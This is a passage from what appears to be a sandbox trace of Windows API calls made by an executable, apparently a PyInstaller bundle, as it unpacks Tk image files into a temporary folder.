returned 1 [0044.418] htonl (hostlong=0x30000000) returned 0x30 [0044.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.418] GetFileType (hFile=0x10c) returned 0x1 [0044.418] htonl (hostlong=0x3dcf5d00) returned 0x5dcf3d [0044.418] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x627f3d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.418] htonl (hostlong=0x8a280000) returned 0x288a [0044.418] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x288a) returned 0x561090 [0044.418] htonl (hostlong=0x8a280000) returned 0x288a [0044.419] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x563928 [0044.419] ReadFile (in: hFile=0x10c, lpBuffer=0x563928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x563928*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.419] htonl (hostlong=0x84800000) returned 0x8084 [0044.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8084) returned 0x564930 [0044.419] htonl (hostlong=0x8a280000) returned 0x288a [0044.419] htonl (hostlong=0x84800000) returned 0x8084 [0044.419] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56c9c0 [0044.420] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56c9c0 | out: hHeap=0x530000) returned 1 [0044.420] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.420] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563928 | out: hHeap=0x530000) returned 1 [0044.420] CloseHandle (hObject=0x10c) returned 1 [0044.420] GetLastError () returned 0x0 [0044.420] SetLastError (dwErrCode=0x0) [0044.420] GetLastError () returned 0x0 [0044.420] SetLastError (dwErrCode=0x0) [0044.420] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.421] GetFileType (hFile=0x10c) returned 0x1 [0044.421] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.421] CloseHandle (hObject=0x10c) returned 1 [0044.421] GetLastError () returned 0x0 [0044.421] SetLastError (dwErrCode=0x0) [0044.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.421] GetFileType (hFile=0x10c) returned 0x1 [0044.421] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.421] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.421] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.421] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.422] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.422] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.422] CloseHandle (hObject=0x10c) returned 1 [0044.422] GetLastError () returned 0x0 [0044.422] SetLastError (dwErrCode=0x0) [0044.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps") returned 64 [0044.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo.eps"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.422] GetLastError () returned 0x2 [0044.422] SetLastError (dwErrCode=0x2) [0044.422] GetLastError () returned 0x2 [0044.422] SetLastError (dwErrCode=0x2) [0044.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps", lpFilePart=0x0) returned 0x3f [0044.422] GetLastError () returned 0x2 [0044.422] SetLastError (dwErrCode=0x2) [0044.422] GetLastError () returned 0x2 [0044.422] SetLastError (dwErrCode=0x2) [0044.422] GetLastError () returned 0x2 [0044.422] SetLastError (dwErrCode=0x2) [0044.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps") returned 64 [0044.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo.eps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo.eps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.422] GetFileType (hFile=0x10c) returned 0x1 [0044.422] htonl (hostlong=0x84800000) returned 0x8084 [0044.423] WriteFile (in: hFile=0x10c, lpBuffer=0x564930*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564930*, lpNumberOfBytesWritten=0x4fcd00*=0x8000, lpOverlapped=0x0) returned 1 [0044.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.424] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x84, lpOverlapped=0x0) returned 1 [0044.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.424] CloseHandle (hObject=0x10c) returned 1 [0044.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564930 | out: hHeap=0x530000) returned 1 [0044.425] htonl (hostlong=0x30000000) returned 0x30 [0044.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.425] GetFileType (hFile=0x10c) returned 0x1 [0044.425] htonl (hostlong=0xc7f75d00) returned 0x5df7c7 [0044.425] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62a7c7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.425] htonl (hostlong=0x23080000) returned 0x823 [0044.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x823) returned 0x55e278 [0044.425] htonl (hostlong=0x23080000) returned 0x823 [0044.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.426] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.426] htonl (hostlong=0x25090000) returned 0x925 [0044.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x925) returned 0x562098 [0044.426] htonl (hostlong=0x23080000) returned 0x823 [0044.426] htonl (hostlong=0x25090000) returned 0x925 [0044.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5629c8 [0044.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5629c8 | out: hHeap=0x530000) returned 1 [0044.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.426] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.426] CloseHandle (hObject=0x10c) returned 1 [0044.426] GetLastError () returned 0x0 [0044.426] SetLastError (dwErrCode=0x0) [0044.426] GetLastError () returned 0x0 [0044.427] SetLastError (dwErrCode=0x0) [0044.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.427] GetFileType (hFile=0x10c) returned 0x1 [0044.427] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.427] CloseHandle (hObject=0x10c) returned 1 [0044.427] GetLastError () returned 0x0 [0044.427] SetLastError (dwErrCode=0x0) [0044.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.427] GetFileType (hFile=0x10c) returned 0x1 [0044.427] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.428] CloseHandle (hObject=0x10c) returned 1 [0044.428] GetLastError () returned 0x0 [0044.428] SetLastError (dwErrCode=0x0) [0044.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif") returned 67 [0044.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo100.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.428] GetLastError () returned 0x2 [0044.428] SetLastError (dwErrCode=0x2) [0044.428] GetLastError () returned 0x2 [0044.428] SetLastError (dwErrCode=0x2) [0044.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif", lpFilePart=0x0) returned 0x42 [0044.428] GetLastError () returned 0x2 [0044.428] SetLastError (dwErrCode=0x2) [0044.428] GetLastError () returned 0x2 [0044.428] SetLastError (dwErrCode=0x2) [0044.428] GetLastError () returned 0x2 [0044.428] SetLastError (dwErrCode=0x2) [0044.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif") returned 67 [0044.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo100.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo100.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.429] GetFileType (hFile=0x10c) returned 0x1 [0044.429] htonl (hostlong=0x25090000) returned 0x925 [0044.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.429] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x925, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x925, lpOverlapped=0x0) returned 1 [0044.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.430] CloseHandle (hObject=0x10c) returned 1 [0044.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.430] htonl (hostlong=0x30000000) returned 0x30 [0044.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.430] GetFileType (hFile=0x10c) returned 0x1 [0044.430] htonl (hostlong=0xeaff5d00) returned 0x5dffea [0044.430] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62afea, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.430] htonl (hostlong=0x69050000) returned 0x569 [0044.430] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x569) returned 0x550600 [0044.430] htonl (hostlong=0x69050000) returned 0x569 [0044.430] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.430] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.430] htonl (hostlong=0x86060000) returned 0x686 [0044.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x686) returned 0x55e278 [0044.431] htonl (hostlong=0x69050000) returned 0x569 [0044.431] htonl (hostlong=0x86060000) returned 0x686 [0044.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.431] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.431] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.431] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.431] CloseHandle (hObject=0x10c) returned 1 [0044.431] GetLastError () returned 0x0 [0044.431] SetLastError (dwErrCode=0x0) [0044.431] GetLastError () returned 0x0 [0044.431] SetLastError (dwErrCode=0x0) [0044.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.431] GetFileType (hFile=0x10c) returned 0x1 [0044.431] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.431] CloseHandle (hObject=0x10c) returned 1 [0044.431] GetLastError () returned 0x0 [0044.431] SetLastError (dwErrCode=0x0) [0044.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.432] GetFileType (hFile=0x10c) returned 0x1 [0044.432] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.432] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | 